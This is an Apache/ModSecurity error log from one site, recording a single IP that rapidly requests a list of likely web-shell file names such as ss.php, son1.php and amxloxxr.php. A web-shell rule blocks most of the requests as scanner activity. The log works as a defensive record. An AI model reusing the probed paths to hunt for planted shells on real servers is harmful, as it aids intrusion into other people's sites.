[Thu May 14 04:45:08.622143 2026] [:error] [pid 11581:tid 11605] [client 52.139.38.158:37553] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/press.php"] [unique_id "agTi1P0vF48FbzpvQMV-FgAAAAg"]
[Thu May 14 04:45:09.156599 2026] [:error] [pid 11690:tid 11703] [client 52.139.38.158:41641] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/press.php"] [unique_id "agTi1SnxWuLN8Hptw8ldlwAAAMQ"]
[Thu May 14 04:45:09.727442 2026] [:error] [pid 11588:tid 11674] [client 52.139.38.158:41587] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/press.php"] [unique_id "agTi1dUr21rOixkeGKb3YwAAAJY"]
[Thu May 14 04:45:10.232352 2026] [:error] [pid 11690:tid 11709] [client 52.139.38.158:59770] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/press.php"] [unique_id "agTi1inxWuLN8Hptw8ldmQAAAMo"]
[Thu May 14 04:45:10.789624 2026] [:error] [pid 63033:tid 63055] [client 52.139.38.158:59718] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ng.php"] [unique_id "agTi1lMY49UWn5BpqVYywwAAARQ"]
[Thu May 14 04:45:11.482707 2026] [:error] [pid 11581:tid 11609] [client 52.139.38.158:47772] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ng.php"] [unique_id "agTi1_0vF48FbzpvQMV-HwAAAAw"]
[Thu May 14 04:45:12.164433 2026] [:error] [pid 11581:tid 11597] [client 52.139.38.158:41651] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ng.php"] [unique_id "agTi2P0vF48FbzpvQMV-IQAAAAA"]
[Thu May 14 04:45:12.693949 2026] [:error] [pid 11588:tid 11669] [client 52.139.38.158:36737] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ng.php"] [unique_id "agTi2NUr21rOixkeGKb3ZwAAAJE"]
[Thu May 14 04:45:13.267523 2026] [:error] [pid 11581:tid 11613] [client 52.139.38.158:37531] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tx79.php"] [unique_id "agTi2f0vF48FbzpvQMV-JAAAABA"]
[Thu May 14 04:45:13.758976 2026] [:error] [pid 11581:tid 11608] [client 52.139.38.158:41556] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tx79.php"] [unique_id "agTi2f0vF48FbzpvQMV-JgAAAAs"]
[Thu May 14 04:45:14.309006 2026] [:error] [pid 11581:tid 11603] [client 52.139.38.158:49542] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tx79.php"] [unique_id "agTi2v0vF48FbzpvQMV-JwAAAAY"]
[Thu May 14 04:45:14.917460 2026] [:error] [pid 11582:tid 11642] [client 52.139.38.158:37564] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tx79.php"] [unique_id "agTi2vuw2cmFDpGcKhDK_QAAAFE"]
[Thu May 14 04:45:15.511415 2026] [:error] [pid 11581:tid 11605] [client 52.139.38.158:59780] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-block.php"] [unique_id "agTi2_0vF48FbzpvQMV-KQAAAAg"]
[Thu May 14 04:45:16.583715 2026] [:error] [pid 11690:tid 11702] [client 52.139.38.158:41566] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-block.php"] [unique_id "agTi3CnxWuLN8Hptw8ldpgAAAMM"]
[Thu May 14 04:45:18.226855 2026] [:error] [pid 63033:tid 63054] [client 52.139.38.158:36779] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-block.php"] [unique_id "agTi3lMY49UWn5BpqVYyxgAAARM"]
[Thu May 14 04:45:18.865334 2026] [:error] [pid 11581:tid 11620] [client 52.139.38.158:41620] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-block.php"] [unique_id "agTi3v0vF48FbzpvQMV-MAAAABc"]
[Thu May 14 04:45:19.414754 2026] [:error] [pid 11690:tid 11708] [client 52.139.38.158:37555] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/8.php"] [unique_id "agTi3ynxWuLN8Hptw8ldqgAAAMk"]
[Thu May 14 04:45:20.171283 2026] [:error] [pid 11588:tid 11666] [client 52.139.38.158:37511] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/8.php"] [unique_id "agTi4NUr21rOixkeGKb3bQAAAI4"]
[Thu May 14 04:45:21.036767 2026] [:error] [pid 11588:tid 11655] [client 52.139.38.158:41569] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/8.php"] [unique_id "agTi4dUr21rOixkeGKb3bgAAAIM"]
[Thu May 14 04:45:22.035224 2026] [:error] [pid 11690:tid 11720] [client 52.139.38.158:41625] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/8.php"] [unique_id "agTi4inxWuLN8Hptw8ldrwAAANU"]
[Thu May 14 04:45:22.855553 2026] [:error] [pid 63033:tid 63049] [client 52.139.38.158:59732] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/options.php"] [unique_id "agTi4lMY49UWn5BpqVYy1AAAAQ4"]
[Thu May 14 04:45:24.208080 2026] [:error] [pid 11690:tid 11701] [client 52.139.38.158:59402] File does not exist: /usr/local/apache/htdocs/suspended-page/options.php
[Thu May 14 04:45:24.940082 2026] [:error] [pid 11690:tid 11703] [client 52.139.38.158:59402] File does not exist: /usr/local/apache/htdocs/suspended-page/admlo.php
[Thu May 14 04:45:25.170148 2026] [:error] [pid 11690:tid 11707] [client 52.139.38.158:59402] File does not exist: /usr/local/apache/htdocs/suspended-page/x=34.php
[Thu May 14 04:45:25.396808 2026] [:error] [pid 11690:tid 11722] [client 52.139.38.158:59402] File does not exist: /usr/local/apache/htdocs/suspended-page/tramuibs.php
[Thu May 14 04:45:25.636328 2026] [:error] [pid 11690:tid 11723] [client 52.139.38.158:59402] File does not exist: /usr/local/apache/htdocs/suspended-page/view.php
[Thu May 14 04:45:25.851192 2026] [:error] [pid 11690:tid 11700] [client 52.139.38.158:59402] File does not exist: /usr/local/apache/htdocs/suspended-page/aa.php
[Thu May 14 04:45:26.068684 2026] [:error] [pid 11690:tid 11714] [client 52.139.38.158:59402] File does not exist: /usr/local/apache/htdocs/suspended-page/x402.php
[Thu May 14 04:45:26.281921 2026] [:error] [pid 11690:tid 11721] [client 52.139.38.158:59402] File does not exist: /usr/local/apache/htdocs/suspended-page/lib.php
[Thu May 14 04:45:26.510347 2026] [:error] [pid 11690:tid 11705] [client 52.139.38.158:59402] File does not exist: /usr/local/apache/htdocs/suspended-page/ws78.php
[Thu May 14 04:45:26.742197 2026] [:error] [pid 11690:tid 11717] [client 52.139.38.158:59402] File does not exist: /usr/local/apache/htdocs/suspended-page/f5.php
[Thu May 14 04:45:27.143471 2026] [:error] [pid 11690:tid 11710] [client 52.139.38.158:59402] File does not exist: /usr/local/apache/htdocs/suspended-page/alpha.php
[Thu May 14 04:45:27.354899 2026] [:error] [pid 11690:tid 11719] [client 52.139.38.158:59402] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/son1.php"] [unique_id "agTi5ynxWuLN8Hptw8ldvwAAANQ"]
[Thu May 14 04:45:29.045837 2026] [:error] [pid 11581:tid 11621] [client 52.139.38.158:47861] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/son1.php"] [unique_id "agTi6f0vF48FbzpvQMV-QQAAABg"]
[Thu May 14 04:45:30.101775 2026] [:error] [pid 63033:tid 63048] [client 52.139.38.158:41576] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/son1.php"] [unique_id "agTi6lMY49UWn5BpqVYy3AAAAQ0"]
[Thu May 14 04:45:30.801871 2026] [:error] [pid 63033:tid 63057] [client 52.139.38.158:41632] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/son1.php"] [unique_id "agTi6lMY49UWn5BpqVYy3QAAARY"]
[Thu May 14 04:45:31.778090 2026] [:error] [pid 11581:tid 11599] [client 52.139.38.158:41585] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ggb.php"] [unique_id "agTi6_0vF48FbzpvQMV-RQAAAAI"]
[Thu May 14 04:45:32.595077 2026] [:error] [pid 11588:tid 11652] [client 52.139.38.158:59426] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ggb.php"] [unique_id "agTi7NUr21rOixkeGKb3dgAAAIA"]
[Thu May 14 04:45:34.223062 2026] [:error] [pid 11588:tid 11663] [client 52.139.38.158:47841] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ggb.php"] [unique_id "agTi7tUr21rOixkeGKb3eQAAAIs"]
[Thu May 14 04:45:36.041507 2026] [:error] [pid 11690:tid 11721] [client 52.139.38.158:47851] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ggb.php"] [unique_id "agTi8CnxWuLN8Hptw8ldxgAAANY"]
[Thu May 14 04:45:36.835683 2026] [:error] [pid 11588:tid 11675] [client 52.139.38.158:59775] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/amxloxxr.php"] [unique_id "agTi8NUr21rOixkeGKb3gAAAAJc"]
[Thu May 14 04:45:38.058728 2026] [:error] [pid 63033:tid 63046] [client 52.139.38.158:47808] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/amxloxxr.php"] [unique_id "agTi8lMY49UWn5BpqVYy5AAAAQs"]
[Thu May 14 04:45:38.646585 2026] [:error] [pid 11581:tid 11604] [client 52.139.38.158:41581] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/amxloxxr.php"] [unique_id "agTi8v0vF48FbzpvQMV-UgAAAAc"]
[Thu May 14 04:45:39.497642 2026] [:error] [pid 63033:tid 63055] [client 52.139.38.158:47771] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/amxloxxr.php"] [unique_id "agTi81MY49UWn5BpqVYy5QAAARQ"]
[Thu May 14 04:45:40.821097 2026] [:error] [pid 63033:tid 63052] [client 52.139.38.158:37448] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ss.php"] [unique_id "agTi9FMY49UWn5BpqVYy6wAAARE"]
[Thu May 14 04:45:43.374564 2026] [:error] [pid 63033:tid 63053] [client 52.139.38.158:37460] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ss.php"] [unique_id "agTi91MY49UWn5BpqVYy8AAAARI"]
[Thu May 14 04:45:45.085424 2026] [:error] [pid 63033:tid 63040] [client 52.139.38.158:41648] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ss.php"] [unique_id "agTi-VMY49UWn5BpqVYy9AAAAQU"]
[Thu May 14 04:45:47.443306 2026] [:error] [pid 11582:tid 11625] [client 52.139.38.158:47757] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ss.php"] [unique_id "agTi-_uw2cmFDpGcKhDLDgAAAEA"]
[Thu May 14 04:45:50.916649 2026] [:error] [pid 11581:tid 11603] [client 52.139.38.158:41596] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sadcut1.php"] [unique_id "agTi_v0vF48FbzpvQMV-aQAAAAY"]
[Thu May 14 04:45:53.492325 2026] [:error] [pid 11581:tid 11616] [client 52.139.38.158:41614] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sadcut1.php"] [unique_id "agTjAf0vF48FbzpvQMV-cAAAABM"]
[Thu May 14 04:45:54.072478 2026] [:error] [pid 11588:tid 11675] [client 52.139.38.158:41586] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sadcut1.php"] [unique_id "agTjAtUr21rOixkeGKb3jwAAAJc"]
[Thu May 14 04:45:54.685763 2026] [:error] [pid 11690:tid 11709] [client 52.139.38.158:47832] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sadcut1.php"] [unique_id "agTjAinxWuLN8Hptw8ldzAAAAMo"]
[Thu May 14 04:45:55.381161 2026] [:error] [pid 11588:tid 11661] [client 52.139.38.158:59437] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rh.php"] [unique_id "agTjA9Ur21rOixkeGKb3kAAAAIk"]
[Thu May 14 04:45:55.902159 2026] [:error] [pid 11690:tid 11723] [client 52.139.38.158:41640] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rh.php"] [unique_id "agTjAynxWuLN8Hptw8ld0QAAANg"]
[Thu May 14 04:45:56.365275 2026] [:error] [pid 11588:tid 11660] [client 52.139.38.158:59452] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rh.php"] [unique_id "agTjBNUr21rOixkeGKb3kgAAAIg"]
[Thu May 14 04:45:56.858346 2026] [:error] [pid 11690:tid 11706] [client 52.139.38.158:36770] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rh.php"] [unique_id "agTjBCnxWuLN8Hptw8ld0gAAAMc"]
[Thu May 14 04:45:57.487085 2026] [:error] [pid 11690:tid 11705] [client 52.139.38.158:37510] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/99.php"] [unique_id "agTjBSnxWuLN8Hptw8ld1AAAAMY"]
[Thu May 14 04:45:58.098415 2026] [:error] [pid 63033:tid 63037] [client 52.139.38.158:37475] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/99.php"] [unique_id "agTjBlMY49UWn5BpqVYzAAAAAQI"]
[Thu May 14 04:45:58.817735 2026] [:error] [pid 11582:tid 11642] [client 52.139.38.158:37543] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/99.php"] [unique_id "agTjBvuw2cmFDpGcKhDLEgAAAFE"]
[Thu May 14 04:45:59.780160 2026] [:error] [pid 11582:tid 11635] [client 52.139.38.158:59739] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/99.php"] [unique_id "agTjB_uw2cmFDpGcKhDLEwAAAEo"]
[Thu May 14 04:46:00.495165 2026] [:error] [pid 11690:tid 11708] [client 52.139.38.158:47859] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/layout.php"] [unique_id "agTjCCnxWuLN8Hptw8ld1QAAAMk"]
[Thu May 14 04:46:01.460934 2026] [:error] [pid 11588:tid 11663] [client 52.139.38.158:47790] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/layout.php"] [unique_id "agTjCdUr21rOixkeGKb3mgAAAIs"]
[Thu May 14 04:46:02.330587 2026] [:error] [pid 11581:tid 11616] [client 52.139.38.158:41547] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/layout.php"] [unique_id "agTjCv0vF48FbzpvQMV-gAAAABM"]
[Thu May 14 04:46:03.386024 2026] [:error] [pid 63033:tid 63046] [client 52.139.38.158:37478] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/layout.php"] [unique_id "agTjC1MY49UWn5BpqVYzBAAAAQs"]
